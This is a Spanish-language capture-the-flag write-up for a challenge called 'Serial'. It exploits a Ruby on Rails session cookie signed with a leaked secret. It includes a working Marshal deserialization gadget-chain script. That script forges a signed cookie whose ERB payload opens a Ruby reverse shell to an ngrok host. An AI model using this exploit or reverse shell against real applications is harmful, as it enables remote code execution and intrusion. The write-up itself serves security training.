Serial

Es momento de cerrar como los grandes, encuentra la vulnerabilidad en este sitio y obten una shell remota para obtener la flag. \ Puedes utilizar ngrok para esperar tu reverse shell :-)

Ruby on Rails - Known Secret Session Cookie Remote Code Execution

Se puede ver una cookie interesante con el nombre de **rack.session**.

`rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFVEki..........`

Con el nombre del reto como pista nos damos cuenta de que es una vulnerabilidad de serialización. Investigando es necesario tener el valor de la llave para generar nuestras propias cookies.

El **secret** se puede obtener por un error producido por la aplicación al acceder a **/users/9/update_password** después de iniciar sesión.

`@secrets=["28e55dad86c3f9d1ba747227d9e4bf34e8a0f82059c396cc350639828983e88bc3c13bd74def9625c4606ca8ac7de30f3765131b45bc1f33aad034bb3aa866ce"]`

Podemos decodear la cookie con el siguiente script:

```
 require "net/http"
require "uri"
require 'pp'
require 'base64'

c = "BAh7CUkiD3Nlc3Npb25faWQGOgZFVEki..........."
cookie, signature = c.split("--")
decoded = Base64.decode64(URI.decode(cookie))

begin
  object = Marshal.load(decoded)
  pp object
rescue ArgumentError => e
  puts "ERROR: "+e.to_s
end
```

Vemos el contenido de la cookie parece no ser relevante pero teniendo la llave podemos cambiar el contenido de la misma.

Con el siguiente script podemos generar una cookie nueva.

```
require "net/http"
require "uri"
require "base64"
require "erb"

secret = "28e55dad86c3f9d1ba747227d9e4bf34e8a0f82059c396cc350639828983e88bc3c13bd74d
ef9625c4606ca8ac7de30f3765131b45bc1f33aad034bb3aa866ce"

class ActiveSupport
   class Deprecation
   def initialize()
   @silenced = true
   end

   class DeprecatedInstanceVariableProxy
      def initialize(instance, method)
        @instance = instance
           @method = method
              @deprecator = ActiveSupport::Deprecation.new
              end
           end
        end
      end

erb = ERB.allocate
erb.instance_variable_set :@src, "%x(ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"2.tcp.ngrok.io\",\"15753\");while
(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end');"

erb.instance_variable_set :@lineno, 80

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)

new_hash = {
   "command" => depr
}

new_hash_base64 = Base64.encode64(Marshal.dump(new_hash))

new_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, new_hash_base64)

new_cookie = URI.encode(new_hash_base64).gsub("=", "%3D") + "--" + new_signature
```

Teniendo nuestra cookie nueva que contiene la reverse shell, la cambiamos por la que nos genera la aplicación y mandamos la request para finalmente obtener una shell.

Flag:

```
hackdef{b4d_ser1alizati0n_1s_b4d}
```